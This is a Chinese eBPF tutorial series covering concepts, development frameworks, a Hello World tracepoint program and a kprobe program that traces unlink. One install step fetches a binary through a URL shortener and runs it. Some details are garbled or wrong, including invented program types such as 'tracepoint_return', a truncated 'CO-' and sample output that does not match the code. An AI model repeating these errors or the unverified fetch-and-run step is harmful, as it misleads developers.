https://github.com/eunomia-bpf/bpf-developer-tutorial
eBPF 入门开发实践教程零:介绍 eBPF 的基本概念、常见的开发工具
1. eBPF 简介:安全和有效地扩展内核
eBPF 是一项革命性的技术,起源于 Linux 内核,可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能,而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序,应用程序开发人员可以在运行时,可编程地向操作系统动态添加额外的功能。然后,操作系统保证安全和执行效率,就像在即时编译(JIT)编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的,并且可以自动更新,从而避免了工作负载中断和节点重启。
今天,eBPF 被广泛用于各类场景:在现代数据中心和云原生环境中,可以提供高性能的网络包处理和负载均衡;以非常低的资源开销,做到对多种细粒度指标的可观测性,帮助应用程序开发人员跟踪应用程序,为性能故障排除提供洞察力;保障应用程序和容器运行时的安全执行,等等。可能性是无穷的,而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。
eBPF 的未来:内核的 JavaScript 可编程接口
对于浏览器而言,JavaScript 的引入带来的可编程性开启了一场巨大的革命,使浏览器发展成为几乎独立的操作系统。现在让我们回到 eBPF:为了理解 eBPF 对 Linux 内核的可编程性影响,对 Linux 内核的结构以及它如何与应用程序和硬件进行交互有一个高层次的理解是有帮助的[4]。

Linux 内核的主要目的是抽象出硬件或虚拟硬件,并提供一个一致的 API(系统调用),允许应用程序运行和共享资源。为了实现这个目的,我们维护了一系列子系统和层,以分配这些责任[5]。每个子系统通常允许某种程度的配置,以考虑到用户的不同需求。如果不能配置所需的行为,就需要改变内核,从历史上看,改变内核的行为,或者让用户编写的程序能够在内核中运行,就有两种选择:
| 本地支持内核模块 | 写一个内核模块 |
|---|---|
| 改变内核源代码,并说服Linux内核社区相信这种改变是必要的。等待几年,让新的内核版本成为一种商品。 | 定期修复它,因为每个内核版本都可能破坏它。由于缺乏安全边界,冒着破坏你的Linux内核的风险 |
实际上,两种方案都不常用,前者成本太高,后者则几乎没有可移植性。
有了 eBPF,就有了一个新的选择,可以重新编程 Linux 内核的行为,而不需要改变内核的源代码或加载内核模块,同时保证在不同内核版本之间一定程度上的行为一致性和兼容性、以及安全性[6]。为了实现这个目的,eBPF 程序也需要有一套对应的 API,允许用户定义的应用程序运行和共享资源 --- 换句话说,某种意义上讲 eBPF 虚拟机也提供了一套类似于系统调用的机制,借助 eBPF 和用户态通信的机制,Wasm 虚拟机和用户态应用也可以获得这套“系统调用”的完整使用权,一方面能可编程地扩展传统的系统调用的能力,另一方面能在网络、文件系统等许多层次实现更高效的可编程 IO 处理。

正如上图所示,当今的 Linux 内核正在向一个新的内核模型演化:用户定义的应用程序可以在内核态和用户态同时执行,用户态通过传统的系统调用访问系统资源,内核态则通过 BPF Helper Calls 和系统的各个部分完成交互。截止 2023 年初,内核中的 eBPF 虚拟机中已经有 220 多个 Helper 系统接口,涵盖了非常多的应用场景。
值得注意的是,BPF Helper Call 和系统调用二者并不是竞争关系,它们的编程模型和有性能优势的场景完全不同,也不会完全替代对方。对 Wasm 和 Wasi 相关生态来说,情况也类似,专门设计的 Wasi 接口需要经历一个漫长的标准化过程,但可能在特定场景能为用户态应用获取更佳的性能和可移植性保证,而 eBPF 在保证沙箱本质和可移植性的前提下,可以提供一个快速灵活的扩展系统接口的方案。
目前的 eBPF 仍然处于早期阶段,但是借助当前 eBPF 提供的内核接口和用户态交互的能力,经由 Wasm-bpf 的系统接口转换,Wasm 虚拟机中的应用已经几乎有能力获取内核以及用户态任意一个函数调用的数据和返回值(kprobe,uprobe...);以很低的代价收集和理解所有系统调用,并获取所有网络操作的数据包和套接字级别的数据(tracepoint,socket...);在网络包处理解决方案中添加额外的协议分析器,并轻松地编程任何转发逻辑(XDP,TC...),以满足不断变化的需求,而无需离开Linux内核的数据包处理环境。
不仅如此,eBPF 还有能力往用户空间任意进程的任意地址写入数据(bpf_probe_write_user[7]),有限度地修改内核函数的返回值(bpf_override_return[8]),甚至在内核态直接执行某些系统调用[9];所幸的是,eBPF 在加载进内核之前对字节码会进行严格的安全检查,确保没有内存越界等操作,同时,许多可能会扩大攻击面、带来安全风险的功能都是需要在编译内核时明确选择启用才能使用的;在 Wasm 虚拟机将字节码加载进内核之前,也可以明确选择启用或者禁用某些 eBPF 功能,以确保沙箱的安全性。
除了内核态的 eBPF 运行时,eBPF 也可以拓展到用户空间,例如 bpftime,实现更高性能的用户态追踪、性能分析、插件等等。
2. 关于如何学习 eBPF 相关的开发的一些建议
本文不会对 eBPF 的原理做更详细的介绍,不过这里有一个学习规划和参考资料,也许会有一些价值:
eBPF 入门(5-7h)
- Google 或者其他搜索引擎查找:eBPF
- 询问 ChatGPT 之类的东西:eBPF 是什么?
推荐:
- 阅读 ebpf 简介:https://ebpf.io/ (30min)
- 简要了解一下 ebpf 内核相关文档:https://prototype-kernel.readthedocs.io/en/latest/bpf/ (知道有问题去哪里查询,30min)
- 阅读 ebpf 中文入门指南:https://www.ebpf.top/post/ebpf_intro (1h)
- 有大量的参考资料:https://github.com/zoidbergwill/awesome-ebpf (2-3h)
- 可以选自己感兴趣的 PPT 翻一翻:https://github.com/gojue/ebpf-slide (1-2h)
回答三个问题:
- 了解 eBPF 是什么东西?为啥要有这个玩意,不能用内核模块?
- 它有什么功能?能在 Linux 内核里面完成哪些事情?有哪些 eBPF 程序的类型和 helper(不需要知道全部,但是需要知道去哪里找)?
- 能拿来做什么?比如说在哪些场景中进行运用?网络、安全、可观测性?
了解如何开发 eBPF 程序(10-15h)
了解并尝试一下 eBPF 开发框架:
- bpftrace 教程,对于最简单的应用来说,bpftrace 可能是最方便的:https://eunomia.dev/zh/tutorials/bpftrace-tutorial/ (试试,1h)
- BCC 开发各类小工具的例子:https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md (跑一遍,3-4h)
- libbpf 的一些例子:https://github.com/libbpf/libbpf-bootstrap (选感兴趣的运行一下,并阅读一下源代码,2h)
- 基于 libbpf 和 eunomia-bpf 的教程:https://github.com/eunomia-bpf/bpf-developer-tutorial (阅读 1-10 的部分,3-4h)
其他开发框架:Go 语言或者 Rust 语言,请自行搜索并且尝试(0-2h)
有任何问题或者想了解的东西,不管是不是和本项目相关,都可以在本项目的 discussions 里面开始讨论。
回答一些问题,并且进行一些尝试(2-5h):
- 如何开发一个最简单的 eBPF 程序?
- 如何用 eBPF 追踪一个内核功能或函数?有很多种方法,举出对应的代码;
- 有哪些方案能通过用户态和内核态通信?如何从用户态向内核态传送信息?如何从内核态向用户态传递信息?举出代码示例;
- 编写一个你自己的 eBPF 程序,实现一个功能;
- eBPF 程序的整个生命周期里面,分别在用户态和内核态做了哪些事情?
3. 如何使用 eBPF 编程
原始的 eBPF 程序编写是非常繁琐和困难的。为了改变这一现状,llvm 于 2015 年推出了可以将由高级语言编写的代码编译为 eBPF 字节码的功能,同时,eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装,给出了 libbpf 库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在 Linux 的源码包的 samples/bpf/ 目录下,有大量 Linux 提供的基于 libbpf 的 eBPF 样例代码。
一个典型的基于 libbpf 的 eBPF 程序具有 *_kern.c 和 *_user.c 两个文件,*_kern.c 中书写在内核中的挂载点以及处理函数,*_user.c 中书写用户态代码,完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考该视频。然而由于该方法仍然较难理解且入门存在一定的难度,因此现阶段的eBPF程序开发大多基于一些工具,比如:
- BCC
- BPFtrace
- libbpf-bootstrap
- Go eBPF library
以及还有比较新的工具,例如 eunomia-bpf.
编写 eBPF 程序
eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑,用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具,只需编写内核态部分的代码。
内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成,每个函数都有其特定的作用。可以使用的函数类型包括:
- kprobe:插探函数,在指定的内核函数前或后执行。
- tracepoint:跟踪点函数,在指定的内核跟踪点处执行。
- raw_tracepoint:原始跟踪点函数,在指定的内核原始跟踪点处执行。
- xdp:网络数据处理函数,拦截和处理网络数据包。
- perf_event:性能事件函数,用于处理内核性能事件。
- kretprobe:函数返回插探函数,在指定的内核函数返回时执行。
- tracepoint_return:跟踪点函数返回,在指定的内核跟踪点返回时执行。
- raw_tracepoint_return:原始跟踪点函数返回,在指定的内核原始跟踪
BCC
BCC 全称为 BPF Compiler Collection,该项目是一个 python 库, 包含了完整的编写、编译、和加载 BPF 程序的工具链,以及用于调试和诊断性能问题的工具。
自 2015 年发布以来,BCC 经过上百位贡献者地不断完善后,目前已经包含了大量随时可用的跟踪工具。其官方项目库 提供了一个方便上手的教程,用户可以快速地根据教程完成 BCC 入门工作。
用户可以在 BCC 上使用 Python、Lua 等高级语言进行编程。 相较于使用 C 语言直接编程,这些高级语言具有极大的便捷性,用户只需要使用 C 来设计内核中的 BPF 程序,其余包括编译、解析、加载等工作在内,均可由 BCC 完成。
然而使用 BCC 存在一个缺点便是在于其兼容性并不好。基于 BCC 的 eBPF 程序每次执行时候都需要进行编译,编译则需要用户配置相关的头文件和对应实现。在实际应用中, 相信大家也会有体会,编译依赖问题是一个很棘手的问题。也正是因此,在本项目的开发中我们放弃了 BCC, 选择了可以做到一次编译-多次运行的 libbpf-bootstrap 工具。
eBPF Go library
eBPF Go 库提供了一个通用的 eBPF 库,它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理,并实现了类似 libbpf 一样的 CO- 功能。eBPF 程序通常是通过编写高级语言创建的,然后使用 clang/LLVM 编译器编译为 eBPF 字节码。
libbpf
libbpf-bootstrap 是一个基于 libbpf 库的 BPF 开发脚手架,从其
github 上可以得到其源码。
libbpf-bootstrap 综合了 BPF 社区过去多年的实践,为开发者提了一个现代化的、便捷的工作流,实
现了一次编译,重复使用的目的。
基于 libbpf-bootstrap 的 BPF 程序对于源文件有一定的命名规则,
用于生成内核态字节码的 bpf 文件以 .bpf.c 结尾,用户态加载字节码的文件以 .c 结尾,且这两个文件的
前缀必须相同。
基于 libbpf-bootstrap 的 BPF 程序在编译时会先将 *.bpf.c 文件编译为
对应的 .o 文件,然后根据此文件生成 skeleton 文件,即 *.skel.h,这个文件会包含内核态中定义的一些
数据结构,以及用于装载内核态代码的关键函数。在用户态代码 include 此文件之后调用对应的装载函数即可将
字节码装载到内核中。同样的,libbpf-bootstrap 也有非常完备的入门教程,用户可以在该处
得到详细的入门操作介绍。
eunomia-bpf
开发、构建和分发 eBPF 一直以来都是一个高门槛的工作,使用 BCC、bpftrace 等工具开发效率高、可移植性好,但是分发部署时需要安装 LLVM、Clang 等编译环境,每次运行的时候执行本地或远程编译过程,资源消耗较大;使用原生的 CO-RE libbpf 时又需要编写不少用户态加载代码来帮助 eBPF 程序正确加载和从内核中获取上报的信息,同时对于 eBPF 程序的分发、管理也没有很好地解决方案。
eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,是为了简化 eBPF 程序的开发、构建、分发、运行而设计的,基于 libbpf 的 CO-RE 轻量级开发框架。
使用 eunomia-bpf ,可以:
- 在编写 eBPF 程序或工具时只编写内核态代码,自动获取内核态导出信息,并作为模块动态加载;
- 使用 WASM 进行用户态交互程序的开发,在 WASM 虚拟机内部控制整个 eBPF 程序的加载和执行,以及处理相关数据;
- eunomia-bpf 可以将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块,跨架构和内核版本进行分发,无需重新编译即可动态加载运行。
eunomia-bpf 由一个编译工具链和一个运行时库组成, 对比传统的 BCC、原生 libbpf 等框架,大幅简化了 eBPF 程序的开发流程,在大多数时候只需编写内核态代码,即可轻松构建、打包、发布完整的 eBPF 应用,同时内核态 eBPF 代码保证和主流的 libbpf,libbpfgo,libbpf-rs 等开发框架的 100% 兼容性。需要编写用户态代码的时候,也可以借助 Webassembly 实现通过多种语言进行用户态开发。和 bpftrace 等脚本工具相比, eunomia-bpf 保留了类似的便捷性, 同时不仅局限于 trace 方面, 可以用于更多的场景, 如网络、安全等等。
- eunomia-bpf 项目 Github 地址: https://github.com/eunomia-bpf/eunomia-bpf
- gitee 镜像: https://gitee.com/anolis/eunomia
参考资料
- eBPF 介绍:https://ebpf.io/
- BPF Compiler Collection (BCC):https://github.com/iovisor/bcc
- eunomia-bpf:https://github.com/eunomia-bpf/eunomia-bpf
您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程源代码。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。
eBPF 入门开发实践教程一:Hello World,基本框架和开发流程
在本篇博客中,我们将深入探讨eBPF(Extended Berkeley Packet Filter)的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具,它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。
本文是eBPF入门开发实践教程的第二篇,我们将重点关注如何编写一个简单的eBPF程序,并通过实际例子演示整个开发流程。在阅读本教程之前,建议您先学习第一篇教程,以便对eBPF的基本概念有个大致的了解。
在开发eBPF程序时,有多种开发框架可供选择,如 BCC(BPF Compiler Collection)libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异,但它们的基本开发流程大致相同。在接下来的内容中,我们将深入了解这些流程,并以 Hello World 程序为例,带领读者逐步掌握eBPF开发的基本技巧。
本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程,您将掌握eBPF开发的基本知识,并为后续进一步学习和实践奠定坚实的基础。
eBPF开发环境准备与基本开发流程
在开始编写eBPF程序之前,我们需要准备一个合适的开发环境,并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。
安装必要的软件和工具
要开发eBPF程序,您需要安装以下软件和工具:
- Linux 内核:由于eBPF是内核技术,因此您需要具备较新版本的Linux内核(至少 4.8 及以上版本,建议至少在 5.15 以上),以支持eBPF功能。
- 建议使用最新的 Ubuntu 版本(例如 Ubuntu 23.10)以获得最佳的学习体验,较旧的内核 eBPF 功能支持可能相对不全。
- LLVM 和 Clang:这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。
eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。
当您选择了合适的开发框架后,如BCC(BPF Compiler Collection)、libbpf、cilium/ebpf或eunomia-bpf等,您可以开始进行用户态和内核态程序的开发。以BCC工具为例,我们将介绍eBPF程序的基本开发流程:
- 安装BCC工具:根据您的Linux发行版,按照BCC官方文档的指南安装BCC工具和相关依赖。
- 编写eBPF程序(C语言):使用C语言编写一个简单的eBPF程序,例如Hello World程序。该程序可以在内核空间执行并完成特定任务,如统计网络数据包数量。
- 编写用户态程序(Python或C等):使用Python、C等语言编写用户态程序,用于加载、运行eBPF程序以及与之交互。在这个程序中,您需要使用BCC提供的API来加载和操作内核态的eBPF程序。
- 编译eBPF程序:使用BCC工具,将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。
- 加载并运行eBPF程序:在用户态程序中,使用BCC提供的API加载编译好的eBPF程序到内核空间,然后运行该程序。
- 与eBPF程序交互:用户态程序通过BCC提供的API与eBPF程序交互,实现数据收集、分析和展示等功能。例如,您可以使用BCC API读取eBPF程序中的map数据,以获取网络数据包统计信息。
- 卸载eBPF程序:当不再需要eBPF程序时,用户态程序应使用BCC API将其从内核空间卸载。
- 调试与优化:使用 bpftool 等工具进行eBPF程序的调试和优化,提高程序性能和稳定性。
通过以上流程,您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意,其他框架(如libbpf、cilium/ebpf和eunomia-bpf)的开发流程大致相似但略有不同,因此在选择框架时,请参考相应的官方文档和示例。
通过这个过程,你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架,支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行,并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。
下载安装 eunomia-bpf 开发工具
可以通过以下步骤下载和安装 eunomia-bpf:
下载 ecli 工具,用于运行 eBPF 程序:
$ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli
$ ./ecli -h
Usage: ecli [--help] [--version] [--json] [--no-cache] url-and-args
下载编译器工具链,用于将 eBPF 内核代码编译为 config 文件或 WASM 模块:
$ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc
$ ./ecc -h
eunomia-bpf compiler
Usage: ecc [OPTIONS] <SOURCE_PATH> [EXPORT_EVENT_HEADER]
注:假如在 aarch64 平台上,请从 release 下载 ecc-aarch64 和 ecli-aarch64.
也可以使用 docker 镜像进行编译:
$ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。
export PATH=PATH:~/.eunomia/bin
Compiling bpf object...
Packing ebpf object and config into /src/package.json...
Hello World - minimal eBPF program
我们会先从一个简单的 eBPF 程序开始,它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件,然后使用 ecli 工具加载并运行该程序。作为示例,我们可以暂时省略用户态程序的部分。
/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
#define BPF_NO_GLOBAL_DATA
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
typedef unsigned int u32;
typedef int pid_t;
const pid_t pid_filter = 0;
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("tp/syscalls/sys_enter_write")
int handle_tp(void *ctx)
{
pid_t pid = bpf_get_current_pid_tgid() >> 32;
if (pid_filter && pid != pid_filter)
return 0;
bpf_printk("BPF triggered sys_enter_write from PID %d.\n", pid);
return 0;
}
这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint(即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID,并在内核日志中打印出来。
bpf_printk(): 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题, but它也有一些限制:最多3 参数; 第一个参数必须是%s(即字符串);同时trace_pipe在内核中全局共享,其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。void *ctx:ctx本来是具体类型的参数, 但是由于我们这里没有使用这个参数,因此就将其写成void *类型。return 0;:必须这样,返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139)。
要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上,执行以下命令:
sudo apt install clang llvm
使用 ecc 编译程序:
$ ./ecc minimal.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
或使用 docker 镜像进行编译:
docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
然后使用 ecli 运行编译后的程序:
$ sudo ./ecli run package.json
Runing eBPF program...
运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:
$ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep "BPF triggered sys_enter_write"
<...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345.
<...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345.
按 Ctrl+C 停止 ecli 进程之后,可以看到对应的输出也停止。
注意:如果正在使用的 Linux 发行版(例如 Ubuntu )默认情况下没有启用跟踪子系统可能看不到任何输出,使用以下指令打开这个功能:
$ sudo su
# echo 1 > /sys/kernel/debug/tracing/tracing_on
eBPF 程序的基本框架
如上所述, eBPF 程序的基本框架包括:
- 包含头文件:需要包含 <linux/bpf.h> 和 <bpf/bpf_helpers.h> 等头文件。
- 定义许可证:需要定义许可证,通常使用 "Dual BSD/GPL"。
- 定义 BPF 函数:需要定义一个 BPF 函数,例如其名称为 handle_tp,其参数为 void *ctx,返回值为 int。通常用 C 语言编写。
- 使用 BPF 助手函数:在例如 BPF 函数中,可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。
- 返回值
tracepoints
跟踪点(tracepoints)是内核静态插桩技术,在技术上只是放置在内核源代码中的跟踪函数,实际上就是在源码中插入的一些带有控制条件的探测点,这些探测点允许事后再添加处理函数。比如在内核中,最常见的静态跟踪方法就是 printk,即输出日志。又比如:在系统调用、调度程序事件、文件系统操作和磁盘 I/O 的开始和结束时都有跟踪点。跟踪点于 2009 年在 Linux 2.6.32 版本中首次提供。跟踪点是一种稳定的 API,数量有限。
GitHub 模板:轻松构建 eBPF 项目和开发环境
面对创建一个 eBPF 项目,您是否对如何开始搭建环境以及选择编程语言感到困惑?别担心,我们为您准备了一系列 GitHub 模板,以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 Use this template 按钮,即可开始使用。
- https://github.com/eunomia-bpf/libbpf-starter-template:基于C语言和 libbpf 框架的eBPF项目模板
- https://github.com/eunomia-bpf/cilium-ebpf-starter-template:基于C语言和cilium/ebpf框架的eBPF项目模板
- https://github.com/eunomia-bpf/libbpf-rs-starter-template:基于Rust语言和libbpf-rs框架的eBPF项目模板
- https://github.com/eunomia-bpf/eunomia-template:基于C语言和eunomia-bpf框架的eBPF项目模板
这些启动模板包含以下功能:
- 一个 Makefile,让您可以一键构建项目
- 一个 Dockerfile,用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages
- GitHub Actions,用于自动化构建、测试和发布流程
- eBPF 开发所需的所有依赖项
通过将现有仓库设置为模板,您和其他人可以快速生成具有相同基础结构的新仓库,从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库,开发者可以专注于项目的核心功能和逻辑,而无需为基础设置和结构浪费时间。更多关于模板仓库的信息,请参阅官方文档:https://docs.github.com/en/repositories/creating-and-managing-repositories/creating-a-template-repository
总结
eBPF 程序的开发和使用流程可以概括为如下几个步骤:
- 定义 eBPF 程序的接口和类型:这包括定义 eBPF 程序的接口函数,定义和实现 eBPF 内核映射(maps)和共享内存(perf events),以及定义和使用 eBPF 内核帮助函数(helpers)。
- 编写 eBPF 程序的代码:这包括编写 eBPF 程序的主要逻辑,实现 eBPF 内核映射的读写操作,以及使用 eBPF 内核帮助函数。
- 编译 eBPF 程序:这包括使用 eBPF 编译器(例如 clang)将 eBPF 程序代码编译为 eBPF 字节码,并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。
- 加载 eBPF 程序到内核:这包括将编译好的 eBPF 内核模块加载到 Linux 内核中,并将 eBPF 程序附加到指定的内核事件上。
- 使用 eBPF 程序:这包括监测 eBPF 程序的运行情况,并使用 eBPF 内核映射和共享内存进行数据交换和共享。
- 在实际开发中,还可能需要进行其他的步骤,例如配置编译和加载参数,管理 eBPF 内核模块和内核映射,以及使用其他高级功能等。
需要注意的是,BPF 程序的执行是在内核空间进行的,因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包,它可以帮助开发者快速和简单地编写和运行 BPF 程序。
您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程,全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术。
原文地址:https://eunomia.dev/zh/tutorials/1-helloworld/ 转载请注明出处。
eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用
eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。
本文是 eBPF 入门开发实践教程的第二篇,在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景,然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。
kprobes 技术背景
开发人员在内核或者模块的调试过程中,往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息,但这种方式往往需要重新编译内核或模块,重新启动设备之类的,操作较为复杂甚至可能会破坏原有的代码执行过程。
而利用 kprobes 技术,用户可以定义自己的回调函数,然后在内核或者模块中几乎所有的函数中(有些函数是不可探测的,例如kprobes自身的相关实现函数,后文会有详细说明)动态地插入探测点,当内核执行流程执行到指定的探测函数时,会调用该回调函数,用户即可收集所需的信息了,同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息,不再需要继续探测,则同样可以动态地移除探测点。因此 kprobes 技术具有对内核执行流程影响小和操作方便的优点。
kprobes 技术包括的3种探测手段分别时 kprobe、jprobe 和 kretprobe。首先 kprobe 是最基本的探测方式,是实现后两种的基础,它可以在任意的位置放置探测点(就连函数内部的某条指令处也可以),它提供了探测点的调用前、调用后和内存访问出错3种回调方式,分别是 pre_handler、post_handler 和 fault_handler,其中 pre_handler 函数将在被探测指令被执行前回调,post_handler 会在被探测指令执行完毕后回调(注意不是被探测函数),fault_handler 会在内存访问出错时被调用;jprobe 基于 kprobe 实现,它用于获取被探测函数的入参值;最后 kretprobe 从名字中就可以看出其用途了,它同样基于 kprobe 实现,用于获取被探测函数的返回值。
kprobes 的技术原理并不仅仅包含纯软件的实现方案,它也需要硬件架构提供支持。其中涉及硬件架构相关的是 CPU 的异常处理和单步调试技术,前者用于让程序的执行流程陷入到用户注册的回调函数中去,而后者则用于单步执行被探测点指令,因此并不是所有的架构均支持 kprobes。目前 kprobes 技术已经支持多种架构,包括 i386、x86_64、ppc64、ia64、sparc64、arm、ppc 和 mips(有些架构实现可能并不完全,具体可参考内核的 Documentation/kprobes.txt)。
kprobes 的特点与使用限制:
- kprobes 允许在同一个被探测位置注册多个 kprobe,但是目前 jprobe 却不可以;同时也不允许以其他的 jprobe 回调函数和 kprobe 的
post_handler回调函数作为被探测点。 - 一般情况下,可以探测内核中的任何函数,包括中断处理函数。不过在 kernel/kprobes.c 和 arch/*/kernel/kprobes.c 程序中用于实现 kprobes 自身的函数是不允许被探测的,另外还有
do_page_fault和notifier_call_chain; - 如果以一个内联函数为探测点,则 kprobes 可能无法保证对该函数的所有实例都注册探测点。由于 gcc 可能会自动将某些函数优化为内联函数,因此可能无法达到用户预期的探测效果;
- 一个探测点的回调函数可能会修改被探测函数的运行上下文,例如通过修改内核的数据结构或者保存与
struct pt_regs结构体中的触发探测器之前寄存器信息。因此 kprobes 可以被用来安装 bug 修复代码或者注入故障测试代码; - kprobes 会避免在处理探测点函数时再次调用另一个探测点的回调函数,例如在
printk()函数上注册了探测点,而在它的回调函数中可能会再次调用printk函数,此时将不再触发printk探测点的回调,仅仅是增加了kprobe结构体中nmissed字段的数值; - 在 kprobes 的注册和注销过程中不会使用 mutex 锁和动态的申请内存;
- kprobes 回调函数的运行期间是关闭内核抢占的,同时也可能在关闭中断的情况下执行,具体要视CPU架构而定。因此不论在何种情况下,在回调函数中不要调用会放弃 CPU 的函数(如信号量、mutex 锁等);
- kretprobe 通过替换返回地址为预定义的 trampoline 的地址来实现,因此栈回溯和 gcc 内嵌函数
__builtin_return_address()调用将返回 trampoline 的地址而不是真正的被探测函数的返回地址; - 如果一个函数的调用次数和返回次数不相等,则在类似这样的函数上注册 kretprobe 将可能不会达到预期的效果,例如
do_exit()函数会存在问题,而do_execve()函数和do_fork()函数不会; - 当在进入和退出一个函数时,如果 CPU 运行在非当前任务所有的栈上,那么往该函数上注册 kretprobe 可能会导致不可预料的后果,因此,kprobes 不支持在 X86_64 的结构下为
__switch_to()函数注册 kretprobe,将直接返回-EINVAL。
kprobe 示例
完整代码如下:
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
char LICENSE[] SEC("license") = "Dual BSD/GPL";
SEC("kprobe/do_unlinkat")
int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)
{
pid_t pid;
const char *filename;
pid = bpf_get_current_pid_tgid() >> 32;
filename = BPF_CORE_READ(name, name);
bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename);
return 0;
}
SEC("kretprobe/do_unlinkat")
int BPF_KRETPROBE(do_unlinkat_exit, long ret)
{
pid_t pid;
pid = bpf_get_current_pid_tgid() >> 32;
bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret);
return 0;
}
这段代码是一个简单的 eBPF 程序,用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件,这个 eBPF 程序通过使用 kprobe(内核探针)在do_unlinkat函数的入口和退出处放置钩子,实现对该系统调用的跟踪。
首先,我们导入必要的头文件,如 vmlinux.h,bpf_helpers.h,bpf_tracing.h 和 bpf_core_read.h。接着,我们定义许可证,以允许程序在内核中运行。
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
char LICENSE[] SEC("license") = "Dual BSD/GPL";
